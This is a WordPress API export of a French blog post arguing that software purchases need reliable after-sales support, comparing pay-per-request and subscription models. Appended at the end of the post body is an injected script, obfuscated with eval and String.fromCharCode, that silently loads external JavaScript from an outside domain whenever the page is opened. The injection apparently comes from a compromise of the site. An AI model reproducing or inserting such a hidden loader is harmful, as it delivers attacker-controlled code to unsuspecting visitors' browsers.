{"id":335,"date":"2015-02-18T16:55:27","date_gmt":"2015-02-18T15:55:27","guid":{"rendered":"http:\/\/www.3coh.net\/contributions\/?p=335"},"modified":"2017-04-29T12:30:39","modified_gmt":"2017-04-29T10:30:39","slug":"service-apres-vente-pour-un-logiciel-pourquoi","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/335","title":{"rendered":"Le service apr\u00e8s vente pour un logiciel ? Pourquoi ?"},"content":{"rendered":"<p style=\"text-align: justify;\">L\u2019informatique comme toute industrie se d\u00e9veloppe au fil des ann\u00e9es, dans ses deux axes hardware et software. Ce d\u00e9veloppement est d\u00fb au fait que l\u2019informatique a pris une place primordiale dans l\u2019organisation des syst\u00e8mes d\u2019informations, du fait qu\u2019elle vient faciliter le travail, am\u00e9liorer les r\u00e9sultats et r\u00e9duire les co\u00fbts. Le nombre de clients pour cette technologie augmente sans cesse et devient de jour en jour, plus \u00e9norme.<\/p>\n<p style=\"text-align: justify;\">Acqu\u00e9rir un syst\u00e8me informatique de gestion est important dans une organisation qui veut d\u00e9velopper son potentiel, et avoir de bons r\u00e9sultats. Tout comme le mat\u00e9riel informatique, le logiciel est appel\u00e9 \u00e0 s\u2019am\u00e9liorer et \u00e0 \u00e9voluer selon les besoins et les demandes des utilisateurs. Il doit r\u00e9pondre aux changements impos\u00e9s par le monde ext\u00e9rieur.<\/p>\n<p style=\"text-align: justify;\">L\u2019une des caract\u00e9ristiques importantes dans un bon syst\u00e8me de gestion, c\u2019est son \u00e9volution continue au plan m\u00e9tier et technologies. Un logiciel qui n\u2019\u00e9volue pas, est un logiciel mort, parce qu&rsquo;une fois, d\u00e9pass\u00e9 dans le temps, il ne pourra plus \u00eatre utilis\u00e9.<\/p>\n<p style=\"text-align: justify;\">La bonne pratique veut qu\u2019 avant d\u2019acqu\u00e9rir un syst\u00e8me informatique, il faut d\u2019abord s\u2019assurer qu\u2019il a un bon service d\u2019assistance apr\u00e8s-vente, lui garantissant un fonctionnement normal de toutes les unit\u00e9s qu\u2019il g\u00e8re, sur une dur\u00e9e de vie assez longue, et une prise en charge des besoins naissants au fil du temps.<\/p>\n<p style=\"text-align: justify;\">\u00a0Mais les services apr\u00e8s vente en software diff\u00e8rent d\u2019une firme \u00e0 une autre. En g\u00e9n\u00e9ral, deux solutions sont propos\u00e9es\u00a0:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Un service apr\u00e8s vente \u00e0 la demande\u00a0: c&rsquo;est-\u00e0-dire que le concepteur est \u00e0 l\u2019\u00e9coute des demandes d\u2019assistance et des nouveaux besoins des clients. Pour chaque demande d\u2019assistance, le client est factur\u00e9 \u00e0 des tarifs qui changent selon la nature de la requ\u00eate. Donc, un client qui a beaucoup de demandes d\u2019assistance ou beaucoup de demandes de nouvelles fonctionnalit\u00e9s \u00e0 mettre en \u0153uvre, verra une facture certainement lourde avec le temps.<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Un service apr\u00e8s vente avec abonnement\u00a0: cette formule propose au client de payer annuellement, un montant fixe, lui permettant d\u2019\u00eatre pris en charge durant toute l\u2019ann\u00e9e. Ses besoins d\u2019assistance technique, ou de d\u00e9veloppement de nouvelles fonctionnalit\u00e9 sont assur\u00e9s par le concepteur.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ce qui est s\u00fbr, d\u00e9penser de l\u2019argent pour un syst\u00e8me sans s\u2019assurer d\u2019un bon service apr\u00e8s-vente, c\u2019est une grande perte, et un signe de mauvaise gestion. Acheter le syst\u00e8me ne suffit pas, il faut acheter une relation avec le fournisseur, b\u00e2tie sur la confiance et la rigueur de celui-ci.<\/p>\n<figure id=\"attachment_19\" aria-describedby=\"caption-attachment-19\" style=\"width: 300px\" class=\"wp-caption alignright\"><a href=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/03\/544303_112238282302880_1071617640_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-19 size-medium\" src=\"https:\/\/www.ipresences.com\/wp-content\/uploads\/2014\/03\/544303_112238282302880_1071617640_n-300x289.jpg\" alt=\"Haddadi Toufik El-Mamoune Chef de projet \u00e0 Pr\u00e9sences Int'l \" width=\"300\" height=\"289\" \/><\/a><figcaption id=\"caption-attachment-19\" class=\"wp-caption-text\"><center>Haddadi Toufik El-Mamoune<br \/> Chef de projet \u00e0 Pr\u00e9sences Int&rsquo;l<\/center><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\n<p><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u2019informatique comme toute industrie se d\u00e9veloppe au fil des ann\u00e9es, dans ses deux axes hardware et software. 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